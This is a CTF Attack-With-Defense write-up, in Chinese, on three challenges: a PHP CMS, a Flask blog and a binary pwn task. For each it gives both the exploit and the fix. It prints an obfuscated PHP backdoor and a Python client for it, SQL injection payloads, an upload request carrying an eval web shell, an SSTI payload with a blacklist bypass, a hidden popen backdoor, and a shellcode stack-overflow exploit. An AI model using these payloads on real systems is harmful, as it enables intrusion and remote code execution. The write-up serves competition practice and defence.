广东强网杯AWD题目分析

上周末跟着大佬去广外打了一场线下赛,上午是应急响应,总体难度不大,大部分队伍都完成了10题,剩余一题逻辑卷损坏不会做。下午是AWD,由于主办方问题,导致了比赛延迟了1小时才进行,给了大量的时间进行题目分析,3个环境都在1小时内写好EXP。同时还有两个非预期的翻车事故,一是所有靶机的密码竟然都是一样,导致不少队伍给别人改了密码。二是使用操作系统竟然不是最新的内核版本,导致被人进行了提权。下面总结一下3个题目找到的漏洞,以及防御方法。

web1 php

第一个web是一个php写的CMS

漏洞一 预置后门

使用D盾可以扫到一个后门

<?php
$o='n();$r=@bas}>}>e64_encode(@x(}>@gzc}>o}>mpress($o),$}>k));p}>rint("}>$p$kh}>$r$kf");}';
$g='>EgwZ7H}>iEecl}>S";function }>x($t,$}>k){$}>}>c=s}>trlen(}>$k)}>;$l=strlen($t);$o="';
$l='";}>f}>or($i=0;$}>}>i<$l;){for($}>j=}>0;}>}>($j<$c&&$i<$l}>);$j++,$i++){$o.}>}>=$';
$r='_contents}>("p}>}>hp://i}>nput")}>,$m)==1){@ob_star}>t(}>);@}>eva}>l(@gzu}>ncompress(';
$L='$k="5ac}>91f7}>d";$}>kh=}>}>"b9615a29}>bc1d";}>$kf="24d0b67}>c2c91";$p}>="9GmI}>}';
$s=str_replace('C','','cCreaCteC_fCuCCnction');
$Z='t{$i}^}>$k{$}>j}>};}}ret}>urn $o;}}>if(@preg_match}>}>("}>/$kh(.+}>)$kf}>/",@file_}>get';
$h='@x(@ba}>se64}>_d}>ecode($m[1])}>,$}>}>k)))}>;}>$o=@}>ob_get_contents();@ob_}>en}>d_cl}>ea';
$q=str_replace('}>','',$L.$g.$l.$Z.$r.$h.$o);
$I=$s('',$q);$I();
?>

后门不是简单的一句话木马,需要调试分析

var_dump($I); // %00lambda_1
var_dump($q); // $k="5ac91f7d";$kh="b9615a29bc1d";$kf="24d0b67c2c91";$p="9GmIEgwZ7HiEeclS";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){@ob_start();@eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));$o=@ob_get_contents();@ob_end_clean();$r=@base64_encode(@x(@gzcompress($o),$k));print("$p$kh$r$kf");}

整理一下代码如下:

<?php
$k="5ac91f7d";
$kh="b9615a29bc1d";
$kf="24d0b67c2c91";
$p="9GmIEgwZ7HiEeclS";
function x($t,$k){
  $c=strlen($k);
  $l=strlen($t);
  $o="";
  for($i=0;$i<$l;){
    for($j=0;($j<$c&&$i<$l);$j++,$i++){
      $o.=$t{$i}^$k{$j};
    }
  }
  return $o;
}
if(@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m)==1){
  @ob_start();
  @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
  $o=@ob_get_contents();
  @ob_end_clean();
  $r=@base64_encode(@x(@gzcompress($o),$k));
  print("$p$kh$r$kf");
}

后门的流程如下:

  1. 首先用正则匹配post的内容,前缀为$kh,后缀为$kf
  2. 匹配内容进行base64解码
  3. 进行xor,key为$k
  4. 进行gzuncompress解压
  5. 进入eval执行代码
  6. 返回内容用相反的顺序进行加密

根据后门的流程编写python脚本即可

import requests
import zlib
import re
import base64

def x(t,k):
  return ''.join([chr(ord(x)^ord(y)) for x,y in zip(t,k*(len(t)/len(k)+1))])

session = requests.Session()
# @eval(@gzuncompress(@x(@base64_decode($m[1]),$k)));
cmd = 'system("cat /flag");'
cmd = zlib.compress(cmd)
cmd = x(cmd,"5ac91f7d")
cmd = base64.b64encode(cmd)

rawBody = "b9615a29bc1d{cmd}24d0b67c2c91".format(cmd=cmd)
response = session.post("http://192.168.100.101:50003/123.php", data=rawBody)

print("Response body: %s" % response.content)
res = re.findall(r'b9615a29bc1d(.+)24d0b67c2c91',response.content)[0]

# $r=@base64_encode(@x(@gzcompress($o),$k));
res = base64.b64decode(res)
res = x(res,"5ac91f7d")
res = zlib.decompress(res)
print(res)

漏洞一修复

比起之前见过的一些简单粗暴的内置一句话木马,这个后门相对复杂,不至于一上来就被人打爆。防御方式不用多说,直接删掉这段代码即可。

漏洞二 数据库注入

打开源码,会发现大量的数据库查询语句,一般只有addslashes,无任何过滤,例如:

$id=addslashes($_GET['cid']);
$query = "SELECT * FROM content WHERE id='$id'";

直接使用sqlmap跑一下就跑出来了

Parameter: cid (GET)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: r=software&cid=1 RLIKE (SELECT (CASE WHEN (6552=6552) THEN 1 ELSE 0x28 END))

    Type: error-based
    Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)
    Payload: r=software&cid=1 AND EXTRACTVALUE(9269,CONCAT(0x5c,0x716b766271,(SELECT (ELT(9269=9269,1))),0x716a626b71))

    Type: AND/OR time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind
    Payload: r=software&cid=1 AND SLEEP(5)

可以直接通过load_file来读取flag。

漏洞二修复

当时尝试把ctf用户降权,但是权限不够,那么只能从代码入手。可以在数据库查询之前,对输入参数进行过滤.

<?php
function filter($str) {
    $filter = "/ |\*|#|;|,|is|union|like|regexp|for|and|or|file|--|\||`|&|" . urldecode('%09') . "|" . urldecode("%0a") . "|" . urldecode("%0b") . "|" . urldecode('%0c') . "|" . urldecode('%0d') . "|" . urldecode('%a0') . "/i";
    if (preg_match($filter, $str)) {
        die("you can't input this illegal char!");
    }
    return $str;
}

漏洞三 文件上传

查看数据库,可以看到后台密码

mysql> select * from manage;
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
| id | user  | name  | password                         | img                                   | mail        | qq       | date                |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
|  1 | admin | admin | 5df3d06e515ef461ddc315aaf1ef9963 | ../upload/touxiang/61751569137471.php | me@baidu.so | 86226999 | 2019-09-22 08:18:14 |
+----+-------+-------+----------------------------------+---------------------------------------+-------------+----------+---------------------+
1 row in set (0.00 sec)

登录后台可以进行头像上传

查看源码上传部分的代码

if(!empty($_FILES['images']['tmp_name'])){
$query = "SELECT * FROM imageset";
$result = mysql_query($query) or die('SQL语句有误:'.mysql_error());
$imageset = mysql_fetch_array($result);
include '../inc/up.class.php';
if (!empty($HTTP_POST_FILES['images']['tmp_name']))//判断接收数据是否为空
{
    $tmp = new FileUpload_Single;
    var_dump($tmp);
    $upload="../upload/touxiang";//图片上传的目录,这里是当前目录下的upload目录,可自已修改
    $tmp -> accessPath =$upload;
    if ( $tmp -> TODO() )
    {
      $filename=$tmp -> newFileName;//生成的文件名
      $filename=$upload.'/'.$filename;
      $imgsms="及图片";

    }   
}
}

/inc/up.class.php可能有过滤,查看一下代码

<?php
class FileUpload_Single
{
//user define ------------------------------------- 
var $accessPath ;
var $fileSize=4000;
var $defineTypeList="jpg|jpeg|gif|png|php";//string jpg|gif|bmp  ...
var $filePrefix= "";
var  $changNameMode=0;
var $uploadFile;
var $newFileName;
var $error;

发现默认竟然可以上传php!那么直接上传php马即可,文件路径会显示在头像路径那里。

POST /admin/?r=manageinfo HTTP/1.1
Host: www.kira.com
Content-Length: 896
Cache-Control: max-age=0
Origin: http://www.kira.com
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAbFN0WGFM34xqzmF
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: http://www.kira.com/admin/?r=manageinfo
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
Cookie: PHPSESSID=553efd0695ddb859599983f05171102b; user=admin
Connection: close

------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="user"

admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="name"

admin
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password"


------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="password2"


------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="mail"

me@baidu.so
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="qq"

86226999
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="images"; filename="123.php"
Content-Type: application/octet-stream

<?php @eval($_POST[c]);?>
------WebKitFormBoundaryAbFN0WGFM34xqzmF
Content-Disposition: form-data; name="save"

1
------WebKitFormBoundaryAbFN0WGFM34xqzmF--

漏洞三修复

修改/inc/up.class.php处的代码,删除$defineTypeList中的php,不允许上传php。

web2 python

第二个web是一个flask写的blog

漏洞一 SSTI

@app.errorhandler(404)
def page_not_found(e):
    def safe_jinja(s):
        blacklist = ['import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']
        for no in blacklist:
            while True:
                if no in s:
                    s =s.replace(no,'')
                else:
                    break
        a =  ['config', 'self']
        return ''.join(['{{% set {}=None%}}'.format(c) for c in a])+s
    template = '''
    {%% block body %%}
        <div class="center-content error">
            <h1>Oops! That page doesn't exist.</h1>
            <h3>%s</h3>
        </div>
    {%% endblock %%}
    ''' % (request.url)
    return render_template_string(safe_jinja(template)), 404

查看app.py,可以找到一个常见的SSTI漏洞,触发点是404,简单测试一下,发现确实可以模板注入。

代码自带了黑名单过滤,查用循环替换为空的过滤方式,浏览一下发现过滤不全,下划线,中括号,initglobals等关键字没有过滤,部分关键字可以使用字符串拼接的方式进行绕过。

最终读取flag的payload为:

http://127.0.0.1:5000/login/{{session['__cla'+'ss__'].__base__.__base__.__base__['__subcla'+'sses__']()[163].__init__.__globals__['__bui'+'ltins__']['op'+'en']('/flag').read()}}

漏洞一 修复方法

原题已经提供了过滤的函数,直接增加过滤关键字就可以进行修复,例如直接把下划线加入黑名单

blacklist = ['_','import','getattr','os','class','subclasses','mro','request','args','eval','if','for',' subprocess','file','open','popen','builtins','compile','execfile','from_pyfile','config','local','self','item','getitem','getattribute','func_globals']

漏洞二 预置后门

查看blog编辑器的代码flask_blogging/views.py

@login_required
def editor(post_id):
    blogging_engine = _get_blogging_engine(current_app)
    cache = blogging_engine.cache
    if cache:
        _clear_cache(cache)
    try:
        with blogging_engine.blogger_permission.require():
            post_processor = blogging_engine.post_processor
            config = blogging_engine.config
            storage = blogging_engine.storage
            if request.method == 'POST':
                form = BlogEditor(request.form)
                if form.validate():
                    post = storage.get_post_by_id(post_id)
                    if (post is not None) and \
                            (PostProcessor.is_author(post, current_user)) and \
                            (str(post["post_id"]) == post_id):
                        pass
                    else:
                        post = {}
                    escape_text = config.get("BLOGGING_ESCAPE_MARKDOWN", False)
                    pid = _store_form_data(form, storage, current_user, post,
                                           escape_text)
                    editor_post_saved.send(blogging_engine.app,
                                           engine=blogging_engine,
                                           post_id=pid,
                                           user=current_user,
                                           post=post)
                    flash("Blog posted successfully!", "info")
                    slug = post_processor.create_slug(form.title.data)
                    return redirect(url_for("blogging.page_by_id", post_id=pid,
                                            slug=slug))
                else:
                    flash("There were errors in blog submission", "warning")
                    return render_template("blogging/editor.html", form=form,
                                           post_id=post_id, config=config)
            else:
                if post_id is not None:
                    post = storage.get_post_by_id(post_id)
                    if (post is not None) and \
                            (PostProcessor.is_author(post, current_user)):
                        tags = " ".join(post["tags"])
                        form = BlogEditor(title=post["title"],
                                          text=post["text"], tags=tags, public=post['public'])
                        editor_get_fetched.send(blogging_engine.app,
                                                engine=blogging_engine,
                                                post_id=post_id,
                                                form=form)
                        return render_template("blogging/editor.html",
                                               form=form, post_id=post_id,
                                               config=config)
                    else:
                        flash("You do not have the rights to edit this post",
                              "warning")
                        return redirect(url_for("blogging.index",
                                                post_id=None))

            form = BlogEditor()
            try:
                bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read()
            except:
                bingo = ''
            return render_template("blogging/editor.html", form=form,
                                   post_id=post_id, config=config, bingo=bingo)
    except PermissionDenied:
        flash("You do not have permissions to create or edit posts", "warning")
        return redirect(url_for("blogging.index", post_id=None))

留意到这个函数有一句bingo = popen('echo Y2F0IC9mbGFnCg==|base64 -d|bash').read(),进行了命令执行,base64解码可以看到执行了cat /flag

> echo Y2F0IC9mbGFnCg==|base64 -d
cat /flag

函数开头有@login_required装饰器,因此需要进行登陆。

根据数据库的代码,可以找到数据库文件

app.config['SQLALCHEMY_DATABASE_URI'] = 'sqlite:///data/ezBlog.db'

class User(db.Model, UserMixin):
    __tablename__ = 'user'
    id = db.Column(db.Integer, primary_key=True)
    username = db.Column(db.String(32), unique=True)
    password = db.Column(db.String(64), unique=True)
    #posts = blog_db.relationship(, backref = , lazy = ) ## posts blongs to cur user
    def __init__(self, username, password):
        self.username = username
        self.password = password

使用sqlite studio查看数据库,可以看到默认的账号密码

使用test,test登陆后,在blog编辑界面就可以看到flag

漏洞二 修复方法

方法一:直接把命令执行的代码删除或者改掉

方法二:修改后台弱口令

pwn

漏洞分析

[*] '/home/kira/pwn/za/qwb'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

题目什么保护都没开,可见难度不会太大。

int __cdecl main(int argc, const char **argv, const char **envp)
{
  FILE *v3; // rdi
  int v5; // [rsp+Ch] [rbp-34h]
  __int64 buf; // [rsp+10h] [rbp-30h]
  __int64 v7; // [rsp+18h] [rbp-28h]
  __int64 v8; // [rsp+20h] [rbp-20h]
  __int64 v9; // [rsp+28h] [rbp-18h]
  __int16 v10; // [rsp+30h] [rbp-10h]
  unsigned int v11; // [rsp+38h] [rbp-8h]
  int v12; // [rsp+3Ch] [rbp-4h]

  buf = 0LL;
  v7 = 0LL;
  v8 = 0LL;
  v9 = 0LL;
  v10 = 0;
  v11 = 0;
  v12 = 0;
  alarm(0x14u);
  setvbuf(_bss_start, 0LL, 2, 0LL);
  v3 = stdin;
  setvbuf(stdin, 0LL, 1, 0LL);
  menu(v3, 0LL);
  while ( v12 <= 3 )
  {
    v5 = 0;
    puts("Enter your choice:");
    __isoc99_scanf("%d", &v5);
    switch ( v5 )
    {
      case 2:
        magic(&buf, v11); // 地址泄露
        break;
      case 3:
        puts("What?");
        read(0, &buf, 0x40uLL); // 栈溢出
        break;
      case 1:
        what(); // 没用的
        break;
    }
    ++v12;
  }
  return 0;
}
int __fastcall magic(__int64 a1, int a2)
{
  int result; // eax

  if ( a2 == 0x12345678 )
    result = printf("It is magic: [%p]?\n", a1);
  return result;
}

函数功能不多,漏洞很明显:

  1. magic函数可以泄露栈地址,前提是v11是0x12345678。
  2. case 3可以进行栈溢出,刚好能覆盖到返回地址。

那么思路就是:

  1. 溢出覆盖v11为0x12345678,然后进行magic函数获取buff地址。
  2. 将shellcode写入buff,然后栈溢出覆盖返回地址为buff地址。

buf有0x38的长度供写入shellcode,卓卓有余,网上可以找22字节左右的shellcode,当然也可以自己写。

exp

def pwn(p):
   p.sendlineafter('choice:\n','3')
    p.send(p64(0x12345678)*6)
    p.sendlineafter('choice:\n','2')
    p.recvuntil('[')
    addr = int(p.recvuntil(']')[:-1],16)
    success(hex(addr)) # 0x7f09b7083000 0x7ffe28596f00

    p.sendlineafter('choice:\n','3')
    shellcode = "\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
    print len(shellcode)
    payload = shellcode.ljust(0x38,'\x00')+p64(addr)
    p.sendline('3')
    p.sendline('3')
    p.sendline(payload)

    p.sendline('cat flag')
    p.recv()
    p.sendline('cat flag')
    p.recv()
    p.interactive()

漏洞修复

getshell的关键点是栈溢出,因此只要把输入长度限制到0x30,漏洞就无法利用。

.text:000000000040086B                 lea     rax, [rbp+buf]
.text:000000000040086F                 mov     edx, 30h        ; nbytes
.text:0000000000400874                 mov     rsi, rax        ; buf
.text:0000000000400877                 mov     edi, 0          ; fd
.text:000000000040087C                 call    _read

题目没有设置更高级的漏洞,略显无趣。

比较过分的是,有队伍进行了提权,然后把flag删除了,只能在flag刷新的时候疯狂跑EXP,有机会在对方删flag前拿到。

点击收藏 | 3 关注 | 1
登录 后跟帖